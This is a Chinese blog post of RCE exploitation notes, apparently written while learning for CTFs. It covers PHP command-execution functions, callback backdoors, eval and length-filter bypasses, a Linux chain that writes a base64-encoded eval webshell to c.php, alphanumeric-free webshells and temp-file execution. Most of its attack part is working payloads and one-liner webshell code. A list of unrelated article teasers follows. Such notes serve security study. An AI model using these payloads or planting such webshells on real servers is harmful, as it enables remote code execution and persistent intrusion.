RCE漏洞复现

news2024/9/20 18:39:44

PHP命令执行常用函数

回调函数必须是命令执行和代码执行的函数,有两个条件

必须是函数,而且需要有函数运行的参数

危害:可以直接删除文件,添加文件,甚至可以添加用户

system  --执行外部程序,并且显示输出 
exec --执行一个外部程序   输出的是数组  要echo
passthru-- 执行外部程序并且显示原始输出  类似system 直接输出
shell_exec-- 要有echo输出才行
proc_open --打开进程文件指针  
popen --- 从管道执行命令

代码执行,只能执行php代码不能执行命令

eval  
assert
call_user_func 
call_user_func_array



assert(eval($_post[123]));
call_user_func('assert',$_REQUEST['pass']);  //加了eval  蚁剑可以连接

rce的基础 php的回调后门

array_fillter 回调函数

$e = $_REQUEST['e'];
$arr array($_POST['pass'],);
array_filter($arr, base64_decode($e));

绕过安全狗

get_meta_tags 引入参数

eval();传入的参数需要引号

EVAL长度限制突破技巧

linux下反引号是可以执行命令的

<?php
$param = $_REQUEST['param']; //全局数组,接收GET,POST,COOKIE数据
If (
strlen($param) < 17 &&  
stripos($param, 'eval') === false &&  // 检查$param 是否含‘eval’ 不含就返回falase   和后面的false相等   就是true
stripos($param, 'assert') === false  //同上
) {
eval($param);  //当上面的都为真时,才执行  。
}
//虽然代码检查了 eval 和 assert 字符串,依然有可能存在其他恶意代码或利用漏洞的方式

所以可以用

`$_GET[1]`  去用命令执行 去绕过  反引号在Linux下是可以执行命令的
 `$_GET[1]`;&1=任何的恶意代码
最后需要用 echo 打印出来   因为eval执行不显示页面

也可用

foo.php?1=file_put_contents&param=$_GET[1](N,P,8); //底层c语言写的8
foo.php?1=file_put_contents&param=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中   */
​
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b  ase64-decode/resource=N
为什么这里要转成base64呢,不直接追加呢,因为file_put_contents 是追加不了特殊字符的< ?
然后用php伪协议 把这base64转成正常的一句话了,然后用文件包含直接执行了
include 视为一切文件为php执行文件 
解码出来为<?php eval($POST[9])

也可以用

usort(...$_GET);
foo.php?1[]=test&1[]=phpinfo();&2=assert
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
...在php中表示为变长参数,js也是
抓包burpsuite
所有回调函数都是把接受到的参数,放在回调函数去执行

8个字符长短,更符合Linux下的环境

Linux命令长度限制突破方法

<?php
$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  
    echo shell_exec($param); //可以直接执行Linux命令 
}

$ ls -t
ech\ o \    PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\  7|\
bas\ e64\   -\  d>\ c.p\ hp
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>  c.php
ls -t>0 以时间先后顺序创建文件  0里面的内容就是base64编码  然后
sh 0 

把一句话木马base64之后的编码一点点写成文件形式,以时间的形式排序,最后执行这一串编码

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>  c.php
ls -t | xxd 以十六进制查看文件

php一句话木马中,一定是要以base64编码写入的

还有种思路:就是在post中生成临时文件,匹配到临时文件,然后执行临时文件的代码

  .  /t*/*  //因为shell_exec本身就能执行Linux的命令,所以在param传参的时候不用加反引号执行了

无字母数字webshell之命令执行

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");//取反绕过正则
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

取反用符号~

但是这种语法只能php7

文件上传就往web.php上面去传,不管它接不接,我只要这个临时文件

难点:如果没有接,php就会把临时文件删掉。但是不知道临时文件名

先定义一个文件上传,然后上传文件,然后去/tmp下看有没有生成临时文件,然后执行文件

里面的upload 需要改一下

前提要能执行临时文件,但是匹配不到临时文件,需要解决这个问题

GET和post同步执行。临时文件有一个特别的点,就是php临时文件生成是有规律的,最后一个字母,一次是大写一次是小写。

Linux通配符 glob 通配符

可以用'?' '*' '[' '[]'

eval 首先要先闭合?>php 后面才可以写 。用@匹配最后一个字母大写

eval 只是代码执行,但并不能执行Linux代码,所以少了一个Linux执行命令的东西,那就是反引号,那加上反引号就行了吗?很明显不行,要遵循urlcode编码,不能有空格 需要把空格改成加号 把空格换成%20 也可以

其实在burpsuite下面不用编码也可以 直接传,但是从url传的话就必须转码

这三部分 需要 粘贴到抓的web.php的包中 因为这是post传参

无参数读文件和RCE总结

这个就需要函数嵌套函数去执行,时间函数去拿.

也可以用array_rand 和array_flip 拿文件

next(getallheaders())绕过这个限制 ,但是这个函数只能apache2里面使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2035031.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ubuntu操作系统的基础操作和设置(详细且全面)(1)

前言 当Ubuntu系统被搭建完成以后&#xff0c;为了方便大家更容易上手&#xff0c;所以对常见的基础操作和设置进行讲解 1.支持中文显示&#xff0c;中文输入设置 1.1&#xff1a;支持中文显示 Ubuntu操作系统默认显示和输入的语言是英文。所以&#xff0c;如果你的英…

《虚拟之旅:开启无限可能的机器世界》简介:

1.Ubonto的介绍&#xff1a; Ubuntu 是一个流行的开源操作系统&#xff0c;基于 Linux 内核。 它具有以下一些特点和优势&#xff1a; 开源免费&#xff1a;任何人都可以免费使用、修改和分发。丰富的软件库&#xff1a;通过软件包管理器可以方便地安装各种应用程序。良好的…

Linux系统移植——开发板烧写(二)

目录&#xff1a; 目录&#xff1a; 一、什么是EMMC分区&#xff1f; 1.1 eMMC分区 1.2 分区的管理 二、相关命令介绍&#xff1a; 2.1 mmc 2.1.1 主要功能 2.1.2 示例用法 2.2 fdisk 2.2.1 基本功能 2.2.2 交互模式常用命令 2.2.3 注意事项 三、U-BOOT烧写 3.1 mmc命令 3.2 f…

Java并发面试题汇总

文章目录 线程什么是线程和进程?请简要描述线程与进程的关系,区别及优缺点?程序计数器、虚拟机栈、虚拟机栈、堆和方法区如何创建线程?线程的生命周期什么是线程上下文切换?Thread#sleep() 方法和 Object#wait() 方法对比为什么 wait() 方法不定义在 Thread 中?为什么 sle…

【解压即玩】PC端最好用最漂亮的前端CoinOPS整合包186G 复古带遮罩和滤镜,怀旧拉满

这是大神做的一个整合包&#xff0c;让游戏界面更加的漂亮&#xff0c;如图&#xff0c;下面是游戏选择画面&#xff0c;右侧是滚动的圆盘&#xff0c;左侧显示游戏的画面&#xff1a; 实际游戏时的界面是这样的&#xff1a; 应当是目前最漂亮的游戏界面了。之前有人说在电脑上…

sp eric靶机

扫描IP 端口扫描 nmap 192.168.111.146 -p- -sV 目录扫描 # 使用命令 dirsearch -u "http://192.168.111.146" 访问靶机IP地址 拼接访问 admin.php &#xff0c;发现登录框界面&#xff0c;尝试sql注入&#xff0c;弱口令等&#xff0c;没有结果 看看 .git &#…

【C语言篇】C语言常考及易错题整理DAY2

文章目录 C语言常考及易错题整理选择题编程题至少是其他数字两倍的最大数两个数组的交集图片整理寻找数组的中心下标多数元素除自身以外数组的乘积不使用加减乘除求两个数的加法 C语言常考及易错题整理 选择题 下列 for 循环的次数为&#xff08; &#xff09; for(int i 0…

高可用keepalived详解---干货满满(企业应用示例)

目录 一、master/master 的 Keepalived 双主架构 1.1 ka1部署 1.2 ka2部署 1.3 重启测试 二、实现ipvs高可用 (keepalivedlvs) 2.1 ipvs的相关配置 2.1.1 虚拟服务器配置架构 2.1.2 virtual server &#xff08;虚拟服务器&#xff09;的定义格式 2.1.3 虚拟服务器…

四十、大数据技术之Kafka3.x(3)

&#x1f33b;&#x1f33b; 目录 一、Kafka Broker1.1 Kafka Broker工作流程1.1.1 Zookeeper 存储的Kafka信息1.1.2 Kafka Broker 总体工作流程1.1.3 Broker 重要参数 1.2 生产经验——节点服役和退役1.2.1 服役新节点1.2.2 退役旧节点 1.3 Kafka 副本1.3.1 副本基本信息1.3.2…

线程知识及编程

线程定义 在Python中&#xff0c;想要实现多任务还可以使用多线程来完成。 为什么使用多线程&#xff1f; 进程是分配资源的最小单位 , 一旦创建一个进程就会分配一定的资源 , 就像跟两个人聊QQ就需要打开两个QQ软件一样是比较浪费资源的 . 线程是程序执行的最小单位 , 实际…

企业应该如何准备 EcoVadis 审核?

企业准备 EcoVadis 审核可以参考以下步骤&#xff1a; 注册&#xff1a;在网上注册并提供公司的相关信息&#xff0c;包括法律实体名称、国家和地区、企业规模和行业等。如果是受客户邀请参加评估&#xff0c;需按照邀请邮件中的链接进行注册&#xff0c;并确保客户能随时获知评…

【ML】强化学习(Reinforcement Learning)及其拆解

【ML】强化学习&#xff08;Reinforcement Learning&#xff09; 1. RL Outline 强化学习&#xff08;Reinforcement Learning&#xff09;概述1.1 RL的基本框架 2. RL 引入&#xff1a;从这个小游戏开始3. Policy Gradient 方法4. Actor-Critic 方法5. [奖励塑形&#xff08;R…

(第二十六天)

上午 1、web01与web02服务器搭建 ip:10.0.0.11 systemctl stop filewalld systemctl disable firewalld setenforce 0 vim /etc/selinux/config SELINUX disabled yum -y install nginx echo "web----------01" > /usr/share/nginx/html/index.h…

力扣热题100_二叉树_230_二叉搜索树中第K小的元素

文章目录 题目链接解题思路解题代码 题目链接 230. 二叉搜索树中第K小的元素 给定一个二叉搜索树的根节点 root &#xff0c;和一个整数 k &#xff0c;请你设计一个算法查找其中第 k 小的元素&#xff08;从 1 开始计数&#xff09;。 示例 1&#xff1a; 输入&#xff1a…

图论:欧拉路

欧拉路是什么 什么&#xff1f;你对这个名字感到很陌生&#xff1f;再看看是图论的内容&#xff0c;感觉是不是很难&#xff1f;其实一点也不难&#xff0c;这就是生活中的一笔画问题&#xff0c;也就是不重复的经过每一条边并可以访问所有的点&#xff0c;先看看这个图&#…

Python字符串格式化方法输出到控制台

python打印是这样的&#xff0c;我希望resource_id能够对齐输出&#xff1a; 3种格式化方法 %格式化 >>> pi3.141592653589793 >>> e2.718281828459045 >>> print("pi%.2f e%.3f" % (pi, e) ) pi3.14 e2.718“”.format()格式化 >…

操作系统(线程管理-通过条件变量实现消费者与生产者模型)

生产者与消费者模型 生产者&#xff1a;生产数据的线程&#xff0c;这类的线程负责从用户端、客户端接收数据&#xff0c;然后把数据Push到存储中介。 消费者&#xff1a;负责消耗数据的线程&#xff0c;对生产者线程生产的数据进行&#xff08;判断、筛选、使用、响应、存储&…

x264 编码器 SSIM 算法源码分析

SSIM SSIM(Structural Similarity Index)是一种用于衡量两幅图像之间视觉相似度的指标。它不仅考虑了图像的亮度、对比度和饱和度,还考虑了图像的结构信息。SSIM的值介于-1到1之间,值越接近1表示两幅图像越相似。 SSIM是基于以下三个方面来计算的: 亮度(Luminance):比…

【Hot100】LeetCode—560. 和为 K 的子数组

目录 1- 思路前缀和 2- 实现⭐560. 和为 K 的子数组——题解思路 3- ACM 实现 原题链接&#xff1a;560. 和为 K 的子数组 1- 思路 前缀和 ① 借助 HashMap 存储前缀和&#xff1a;Key 为对应的前缀和&#xff0c;Value 为对应的出现次数 hm 初始化放入 (0,1) 代表和为 0 的情…

linux--chrony时间同步以及局域网同步

文章目录 注意Chrony介绍Chrony 支持的系统与联系方式Chrony Git 仓库环境准备服务端确认是否安装chrony如果没有安装&#xff0c;那就执行以下命令进行安装配置文件/etc/chrony.conf命令参数讲解基本用法选项命令系统时钟命令时间源命令NTP 访问命令执行命令参考 客户端确认是…